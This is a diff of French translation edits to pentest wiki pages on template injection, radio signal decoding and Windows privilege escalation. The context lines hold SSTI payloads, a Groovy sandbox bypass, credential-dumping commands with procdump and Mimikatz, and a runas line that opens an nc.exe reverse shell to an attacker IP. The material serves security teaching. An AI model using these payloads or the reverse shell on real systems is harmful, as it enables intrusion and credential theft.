+Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression `${7*7}`, qui s'applique également à ce moteur de template. Pour une exécution de code à distance potentielle, des expressions comme celles-ci peuvent être utilisées :

 - SpringEL :

@ -173,7 +173,7 @@ Thymeleaf nécessite que ces expressions soient placées dans des attributs spé

 Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est peu courant.

-Thymeleaf propose également _le prétraitement d'expressions_, où les expressions entourées de doubles underscores (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme démontré dans la documentation de Thymeleaf :
+Thymeleaf offre également _le prétraitement d'expressions_, où les expressions entourées de doubles underscores (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme démontré dans la documentation de Thymeleaf :
 ```java
 #{selection.__${sel.code}__}
 ```
@ -372,10 +372,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 - `${{7*7}}` - 49
 - `${{request}}, ${{session}}, {{faceContext}}`

-Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est largement utilisée dans plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
+Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est utilisée de manière extensive à travers plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :

- **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions backend correspondantes.
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de page aux données de l'application.
+- **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions correspondantes en backend.
+- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de la page aux données de l'application.
 - **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre avec CDI pour permettre une interaction fluide entre la couche web et les beans gérés, garantissant une structure d'application plus cohérente.

 Consultez la page suivante pour en savoir plus sur l'**exploitation des interprètes EL** :
@ -386,7 +386,7 @@ el-expression-language.md

 ### Groovy (Java)

-Les contournements du Security Manager suivants ont été tirés de ce [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
+Les contournements du Security Manager suivants ont été tirés de cette [**écriture**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
 ```java
 //Basic Payload
 import groovy.*;
@ -483,7 +483,7 @@ array("first_name" => $user.first_name)

 Plates est un moteur de templating natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les templates, ce qui le rend intuitif pour les développeurs PHP.

-Controller:
+Contrôleur :
 ```php
 // Create new Plates instance
 $templates = new League\Plates\Engine('/path/to/templates');
@ -933,7 +933,7 @@ La méthode .NET `System.Diagnostics.Process.Start` peut être utilisée pour d
 Même si c'est Perl, il utilise des balises comme ERB en Ruby.

 - `<%= 7*7 %> = 49`
- `<%= foobar %> = Erreur`
+- `<%= foobar %> = Error`
 ```
 <%= perl code %>
 <% perl code %>
@ -944,13 +944,13 @@ Dans le moteur de templates de Go, la confirmation de son utilisation peut être

 - `{{ . }}` : Révèle la structure de données d'entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer.
 - `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation de Go [ici](https://golang.org/pkg/text/template).
+- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation Go [ici](https://golang.org/pkg/text/template).

 <figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>

 **Exploitation XSS**

-Avec le package `text/template`, l'XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `&lt;script&gt;alert(1)&lt;/script&gt;`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
+Avec le package `text/template`, l'exploitation XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{"<script>alert(1)</script>"}}` donne `&lt;script&gt;alert(1)&lt;/script&gt;`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}

 vbnet Copy code

@ -976,7 +976,9 @@ Vérifiez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/

 ## PDF BlackHat

-{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
+{{#file}}
+EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
+{{#endfile}}

 ## Aide Connexe

--- a/src/todo/hardware-hacking/radio.md
+++ b/src/todo/hardware-hacking/radio.md
@ -22,7 +22,7 @@ Dans le comportement de l'interface graphique, il est recommandé d'activer quel

 ### Utilisations

- Juste pour **capturer un certain temps d'un signal et l'analyser**, maintenez simplement le bouton "Push to capture" aussi longtemps que vous en avez besoin.
+- Juste pour **capturer un certain temps d'un signal et l'analyser**, maintenez simplement le bouton "Push to capture" aussi longtemps que nécessaire.

 ![](<../../images/image (960).png>)

@ -32,7 +32,7 @@ Dans le comportement de l'interface graphique, il est recommandé d'activer quel

 ### Synchroniser avec le canal radio

-Avec [**SigDigger** ](https://github.com/BatchDrake/SigDigger), synchronisez-vous avec le canal que vous souhaitez écouter, configurez l'option "Aperçu audio de la bande de base", configurez la bande passante pour obtenir toutes les informations envoyées, puis réglez le Tuner au niveau avant que le bruit ne commence vraiment à augmenter :
+Avec [**SigDigger** ](https://github.com/BatchDrake/SigDigger), synchronisez-vous avec le canal que vous souhaitez entendre, configurez l'option "Aperçu audio de la bande de base", configurez la bande passante pour obtenir toutes les informations envoyées, puis réglez le Tuner au niveau avant que le bruit ne commence vraiment à augmenter :

 ![](<../../images/image (585).png>)

@ -55,16 +55,18 @@ Si vous vérifiez un signal, il existe différentes façons d'essayer de déterm

 ![](<../../images/image (788).png>)

- **Détection AM** : Si dans le graphique IQ apparaissent par exemple **2 cercles** (probablement un à 0 et l'autre à une amplitude différente), cela pourrait signifier qu'il s'agit d'un signal AM. Cela est dû au fait que dans le graphique IQ, la distance entre le 0 et le cercle est l'amplitude du signal, donc il est facile de visualiser différentes amplitudes utilisées.
+- **Détection AM** : Si dans le graphique IQ apparaissent par exemple **2 cercles** (probablement un à 0 et un autre à une amplitude différente), cela pourrait signifier qu'il s'agit d'un signal AM. Cela est dû au fait que dans le graphique IQ, la distance entre le 0 et le cercle est l'amplitude du signal, donc il est facile de visualiser différentes amplitudes utilisées.
 - **Détection PM** : Comme dans l'image précédente, si vous trouvez de petits cercles non liés entre eux, cela signifie probablement qu'une modulation de phase est utilisée. Cela est dû au fait que dans le graphique IQ, l'angle entre le point et le 0,0 est la phase du signal, ce qui signifie que 4 phases différentes sont utilisées.
 - Notez que si l'information est cachée dans le fait qu'une phase est changée et non dans la phase elle-même, vous ne verrez pas différentes phases clairement différenciées.
 - **Détection FM** : IQ n'a pas de champ pour identifier les fréquences (la distance au centre est l'amplitude et l'angle est la phase).\
-Par conséquent, pour identifier FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\
+Par conséquent, pour identifier la FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\
 De plus, une fréquence différente est "représentée" par le graphique IQ par une **accélération de vitesse à travers le cercle** (donc dans SysDigger, en sélectionnant le signal, le graphique IQ est peuplé, si vous trouvez une accélération ou un changement de direction dans le cercle créé, cela pourrait signifier qu'il s'agit de FM) :

 ## Exemple AM

-{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
+{{#file}}
+sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
+{{#endfile}}

 ### Découverte de l'AM

@ -100,7 +102,7 @@ Dans cet exemple, vous pouvez voir comment il y a un **grand cercle** mais aussi

 #### Avec un symbole

-Sélectionnez le plus petit symbole que vous pouvez trouver (pour être sûr qu'il ne s'agit que d'un) et vérifiez la "Fréquence de sélection". Dans ce cas, ce serait 1,013 kHz (donc 1 kHz).
+Sélectionnez le plus petit symbole que vous pouvez trouver (pour être sûr qu'il s'agit juste de 1) et vérifiez la "Fréquence de sélection". Dans ce cas, ce serait 1,013 kHz (donc 1 kHz).

 ![](<../../images/image (78).png>)

@ -119,7 +121,7 @@ Ayant trouvé qu'il s'agit d'un signal **modulé en AM** et le **taux de symbole
 - **Synchroniser aux intervalles de sélection** signifie que si vous avez précédemment sélectionné des intervalles pour trouver le taux de symbole, ce taux de symbole sera utilisé.
 - **Manuel** signifie que le taux de symbole indiqué sera utilisé.
 - Dans **Sélection d'intervalle fixe**, vous indiquez le nombre d'intervalles qui doivent être sélectionnés et il calcule le taux de symbole à partir de cela.
- **La récupération d'horloge Gadner** est généralement la meilleure option, mais vous devez toujours indiquer un taux de symbole approximatif.
+- **La récupération d'horloge Gadner** est généralement la meilleure option, mais vous devez encore indiquer un taux de symbole approximatif.

 En appuyant sur échantillon, cela apparaît :

@ -129,19 +131,21 @@ Maintenant, pour faire comprendre à SigDigger **où se trouve la plage** du niv

 ![](<../../images/image (439).png>)

-S'il y avait par exemple **4 niveaux d'amplitude différents**, vous devriez configurer les **Bits par symbole à 2** et sélectionner du plus petit au plus grand.
+S'il y avait par exemple **4 niveaux d'amplitude différents**, vous auriez besoin de configurer les **Bits par symbole à 2** et de sélectionner du plus petit au plus grand.

 Enfin, **en augmentant** le **Zoom** et **en changeant la taille de la ligne**, vous pouvez voir les bits (et vous pouvez tout sélectionner et copier pour obtenir tous les bits) :

 ![](<../../images/image (276).png>)

-Si le signal a plus d'un bit par symbole (par exemple 2), SigDigger n'a **aucune façon de savoir quel symbole est** 00, 01, 10, 11, donc il utilisera différentes **échelles de gris** pour représenter chacun (et si vous copiez les bits, il utilisera **des nombres de 0 à 3**, vous devrez les traiter).
+Si le signal a plus d'1 bit par symbole (par exemple 2), SigDigger n'a **aucune façon de savoir quel symbole est** 00, 01, 10, 11, donc il utilisera différentes **échelles de gris** pour représenter chacun (et si vous copiez les bits, il utilisera **des nombres de 0 à 3**, vous devrez les traiter).

-De plus, utilisez des **codifications** telles que **Manchester**, et **up+down** peut être **1 ou 0** et un down+up peut être un 1 ou 0. Dans ces cas, vous devez **traiter les ups (1) et downs (0) obtenus** pour substituer les paires de 01 ou 10 par des 0s ou 1s.
+De plus, utilisez des **codifications** telles que **Manchester**, et **up+down** peut être **1 ou 0** et un down+up peut être un 1 ou 0. Dans ces cas, vous devez **traiter les ups obtenus (1) et downs (0)** pour substituer les paires de 01 ou 10 par des 0s ou 1s.

 ## Exemple FM

-{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
+{{#file}}
+sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
+{{#endfile}}

 ### Découverte de la FM

@ -182,7 +186,7 @@ Et cela serait l'histogramme de phase (ce qui rend très clair que le signal n'e
 #### Avec IQ

 IQ n'a pas de champ pour identifier les fréquences (la distance au centre est l'amplitude et l'angle est la phase).\
-Par conséquent, pour identifier FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\
+Par conséquent, pour identifier la FM, vous devriez **voir essentiellement un cercle** dans ce graphique.\
 De plus, une fréquence différente est "représentée" par le graphique IQ par une **accélération de vitesse à travers le cercle** (donc dans SysDigger, en sélectionnant le signal, le graphique IQ est peuplé, si vous trouvez une accélération ou un changement de direction dans le cercle créé, cela pourrait signifier qu'il s'agit de FM) :

 ![](<../../images/image (81).png>)
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@ -110,11 +110,11 @@ dir C:\Transcripts
 Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
 Stop-Transcript
 ```
-### PowerShell Module Logging
+### Journalisation des modules PowerShell

 Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.

-Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en choisissant **"Module Logging"** au lieu de **"Powershell Transcription"**.
+Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en choisissant **"Journalisation des modules"** au lieu de **"Transcription PowerShell"**.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@ -135,7 +135,7 @@ reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Script
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 ```
 Les événements de journalisation pour le Script Block peuvent être trouvés dans le Windows Event Viewer à l'emplacement : **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
-Pour voir les 20 derniers événements, vous pouvez utiliser :
+Pour afficher les 20 derniers événements, vous pouvez utiliser :
 ```bash
 Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
 ```
@ -171,7 +171,9 @@ Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils comme : [Ws

 Lisez la recherche ici :

-{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
+{{#file}}
+CTX_WSUSpect_White_Paper (1).pdf
+{{#endfile}}

 **WSUS CVE-2020-1013**

@ -186,7 +188,7 @@ Vous pouvez exploiter cette vulnérabilité en utilisant l'outil [**WSUSpicious*

 ## KrbRelayUp

-Une vulnérabilité de **montée de privilèges locale** existe dans les environnements **domaines** Windows sous des conditions spécifiques. Ces conditions incluent des environnements où **la signature LDAP n'est pas appliquée,** les utilisateurs possèdent des droits leur permettant de configurer **Resource-Based Constrained Delegation (RBCD),** et la capacité pour les utilisateurs de créer des ordinateurs au sein du domaine. Il est important de noter que ces **exigences** sont satisfaites en utilisant les **paramètres par défaut**.
+Une vulnérabilité **d'escalade de privilèges locaux** existe dans les environnements **domaines** Windows sous des conditions spécifiques. Ces conditions incluent des environnements où **la signature LDAP n'est pas appliquée,** les utilisateurs possèdent des droits leur permettant de configurer **Resource-Based Constrained Delegation (RBCD),** et la capacité pour les utilisateurs de créer des ordinateurs au sein du domaine. Il est important de noter que ces **exigences** sont satisfaites en utilisant les **paramètres par défaut**.

 Trouvez l'**exploit dans** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)

@ -194,7 +196,7 @@ Pour plus d'informations sur le déroulement de l'attaque, consultez [https://re

 ## AlwaysInstallElevated

-**Si** ces 2 registres sont **activés** (valeur est **0x1**), alors les utilisateurs de n'importe quel privilège peuvent **installer** (exécuter) des fichiers `*.msi` en tant que NT AUTHORITY\\**SYSTEM**.
+**Si** ces 2 registres sont **activés** (valeur est **0x1**), alors les utilisateurs de tout privilège peuvent **installer** (exécuter) des fichiers `*.msi` en tant que NT AUTHORITY\\**SYSTEM**.
 ```bash
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -216,7 +218,7 @@ Juste exécutez le binaire créé pour élever les privilèges.

 ### MSI Wrapper

-Lisez ce tutoriel pour apprendre à créer un wrapper MSI en utilisant ces outils. Notez que vous pouvez envelopper un "**.bat**" si vous **voulez juste** **exécuter** **des lignes de commande**.
+Lisez ce tutoriel pour apprendre à créer un wrapper MSI en utilisant ces outils. Notez que vous pouvez envelopper un "**.bat**" si vous **voulez juste** **exécuter** des **lignes de commande**.

 {{#ref}}
 msi-wrapper.md
@ -255,7 +257,7 @@ Pour exploiter cette vulnérabilité, vous pouvez utiliser : _exploit/windows/lo

 ### Paramètres d'Audit

-Ces paramètres décident de ce qui est **journalisé**, donc vous devriez faire attention.
+Ces paramètres décident ce qui est **journalisé**, donc vous devriez faire attention.
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 ```
 ### LAPS

-**LAPS** est conçu pour la **gestion des mots de passe des administrateurs locaux**, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne peuvent être consultés que par des utilisateurs ayant reçu des autorisations suffisantes via des ACL, leur permettant de voir les mots de passe des administrateurs locaux si autorisés.
+**LAPS** est conçu pour la **gestion des mots de passe des administrateurs locaux**, garantissant que chaque mot de passe est **unique, aléatoire et régulièrement mis à jour** sur les ordinateurs joints à un domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne peuvent être consultés que par des utilisateurs ayant reçu des autorisations suffisantes via des ACL, leur permettant de voir les mots de passe administratifs locaux si autorisés.

 {{#ref}}
 ../active-directory-methodology/laps.md
@ -356,7 +358,7 @@ powershell -command "Get-Clipboard"
 ```
 ## Exécution des processus

-### Permissions des fichiers et dossiers
+### Permissions des fichiers et des dossiers

 Tout d'abord, lister les processus **vérifie les mots de passe à l'intérieur de la ligne de commande du processus**.\
 Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez des permissions d'écriture dans le dossier binaire pour exploiter d'éventuelles [**attaques de détournement de DLL**](dll-hijacking/index.html):
@ -370,7 +372,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
 #Without usernames
 Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
 ```
-Vérifiez toujours les [**débogueurs electron/cef/chromium** possibles en cours d'exécution, vous pourriez en abuser pour élever les privilèges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+Vérifiez toujours la présence de [**débogueurs electron/cef/chromium** en cours d'exécution, vous pourriez en abuser pour élever les privilèges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).

 **Vérification des permissions des binaires des processus**
 ```bash
@ -381,7 +383,7 @@ icacls "%%z"
 )
 )
 ```
-**Vérification des permissions des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
+**Vérification des autorisations des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -391,7 +393,7 @@ todos %username%" && echo.
 ```
 ### Extraction de mots de passe en mémoire

-Vous pouvez créer un dump mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **identifiants en texte clair en mémoire**, essayez de dumper la mémoire et de lire les identifiants.
+Vous pouvez créer un dump de mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **identifiants en texte clair dans la mémoire**, essayez de dumper la mémoire et de lire les identifiants.
 ```bash
 procdump.exe -accepteula -ma <proc_name_tasklist>
 ```
@ -499,7 +501,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\

 get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
 ```
-Il faut vérifier si **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possèdent des permissions `FullControl`. Si c'est le cas, le binaire exécuté par le service peut être modifié.
+Il convient de vérifier si **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possèdent des permissions `FullControl`. Si c'est le cas, le binaire exécuté par le service peut être modifié.

 Pour changer le chemin du binaire exécuté :
 ```bash
@ -644,7 +646,7 @@ ipconfig /all
 Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
 Get-DnsClientServerAddress -AddressFamily IPv4 | ft
 ```
-### Open Ports
+### Ports ouverts

 Vérifiez les **services restreints** depuis l'extérieur
 ```bash
@ -723,13 +725,13 @@ Utiliser `runas` avec un ensemble de credentials fournis.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
-Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou depuis [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou depuis le [module Empire Powershells](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).

 ### DPAPI

 L'**API de protection des données (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système pour contribuer de manière significative à l'entropie.

-**DPAPI permet le chiffrement des clés à travers une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, elle utilise les secrets d'authentification de domaine du système.
+**DPAPI permet le chiffrement des clés à l'aide d'une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, il utilise les secrets d'authentification de domaine du système.

 Les clés RSA utilisateur chiffrées, en utilisant DPAPI, sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où `{SID}` représente l'[Identifiant de sécurité](https://en.wikipedia.org/wiki/Security_Identifier) de l'utilisateur. **La clé DPAPI, co-localisée avec la clé maîtresse qui protège les clés privées de l'utilisateur dans le même fichier**, consiste généralement en 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant l'affichage de son contenu via la commande `dir` dans CMD, bien qu'il puisse être listé via PowerShell).
 ```powershell
@ -790,8 +792,8 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 ```
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
-Utilisez le module **Mimikatz** `dpapi::rdg` avec le `/masterkey` approprié pour **décrypter tous les fichiers .rdg**\
-Vous pouvez **extraire de nombreuses clés maîtresses DPAPI** de la mémoire avec le module Mimikatz `sekurlsa::dpapi`
+Utilisez le module `dpapi::rdg` de **Mimikatz** avec le `/masterkey` approprié pour **décrypter tous les fichiers .rdg**\
+Vous pouvez **extraire de nombreuses clés maîtresses DPAPI** de la mémoire avec le module `sekurlsa::dpapi` de Mimikatz

 ### Sticky Notes

@ -976,11 +978,11 @@ Recherchez un fichier appelé **SiteList.xml**

 ### Cached GPP Pasword

-Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de Stratégie de Groupe (GPP). Cependant, cette méthode présentait des failles de sécurité significatives. Premièrement, les Objets de Stratégie de Groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.
+Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de stratégie de groupe (GPP). Cependant, cette méthode avait des failles de sécurité significatives. Premièrement, les Objets de stratégie de groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.

 Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" qui n'est pas vide. Lorsqu'un tel fichier est trouvé, la fonction déchiffre le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la remédiation de cette vulnérabilité de sécurité.

-Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ pour ces fichiers :
+Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ ces fichiers :

 - Groups.xml
 - Services.xml
@ -1170,13 +1172,13 @@ Outils pour extraire des mots de passe des navigateurs :

 Les classes et interfaces COM sont définies dans le registre sous **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** et **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivement. Ce registre est créé en fusionnant **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**

-À l'intérieur des CLSID de ce registre, vous pouvez trouver le registre enfant **InProcServer32** qui contient une **valeur par défaut** pointant vers une **DLL** et une valeur appelée **ThreadingModel** qui peut être **Apartment** (Monothread), **Free** (Multithread), **Both** (Monothread ou Multithread) ou **Neutral** (Thread Neutre).
+À l'intérieur des CLSIDs de ce registre, vous pouvez trouver le registre enfant **InProcServer32** qui contient une **valeur par défaut** pointant vers une **DLL** et une valeur appelée **ThreadingModel** qui peut être **Apartment** (Monothread), **Free** (Multithread), **Both** (Monothread ou Multithread) ou **Neutral** (Thread Neutre).

 ![](<../../images/image (729).png>)

-Fondamentalement, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un utilisateur différent.
+Fondamentalement, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un autre utilisateur.

-Pour apprendre comment les attaquants utilisent le détournement COM comme mécanisme de persistance, consultez :
+Pour apprendre comment les attaquants utilisent le COM Hijacking comme mécanisme de persistance, consultez :

 {{#ref}}
 com-hijacking.md
@ -1299,7 +1301,7 @@ Vous avez tous les fichiers et informations nécessaires dans le dépôt GitHub

 https://github.com/jas502n/CVE-2019-1388

-## De l'administrateur au niveau d'intégrité élevé / Contournement de l'UAC
+## De l'administrateur niveau d'intégrité moyen à élevé / Contournement UAC

 Lisez ceci pour **en savoir plus sur les niveaux d'intégrité** :

@ -1307,17 +1309,17 @@ Lisez ceci pour **en savoir plus sur les niveaux d'intégrité** :
 integrity-levels.md
 {{#endref}}

-Ensuite, **lisez ceci pour en savoir plus sur l'UAC et les contournements de l'UAC :**
+Ensuite, **lisez ceci pour en savoir plus sur UAC et les contournements UAC :**

 {{#ref}}
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
 {{#endref}}

-## **De l'intégrité élevée au système**
+## **De haute intégrité au système**

 ### **Nouveau service**

-Si vous exécutez déjà un processus à intégrité élevée, le **passage à SYSTEM** peut être facile en **créant et en exécutant un nouveau service** :
+Si vous exécutez déjà un processus de haute intégrité, le **passage à SYSTEM** peut être facile en **créant et en exécutant un nouveau service** :
 ```
 sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 sc start newservicename
@ -1325,7 +1327,7 @@ sc start newservicename
 ### AlwaysInstallElevated

 Depuis un processus à haute intégrité, vous pourriez essayer d'**activer les entrées de registre AlwaysInstallElevated** et **installer** un reverse shell en utilisant un _**.msi**_ wrapper.\
-[Plus d'informations sur les clés de registre impliquées et comment installer un paquet _.msi_ ici.](#alwaysinstallelevated)
+[Plus d'informations sur les clés de registre impliquées et comment installer un _.msi_ package ici.](#alwaysinstallelevated)

 ### High + SeImpersonate privilege to System

@ -1333,7 +1335,7 @@ Depuis un processus à haute intégrité, vous pourriez essayer d'**activer les

 ### From SeDebug + SeImpersonate to Full Token privileges

-Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus à haute intégrité), vous serez en mesure d'**ouvrir presque n'importe quel processus** (pas de processus protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
+Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus à haute intégrité), vous pourrez **ouvrir presque n'importe quel processus** (pas de processus protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
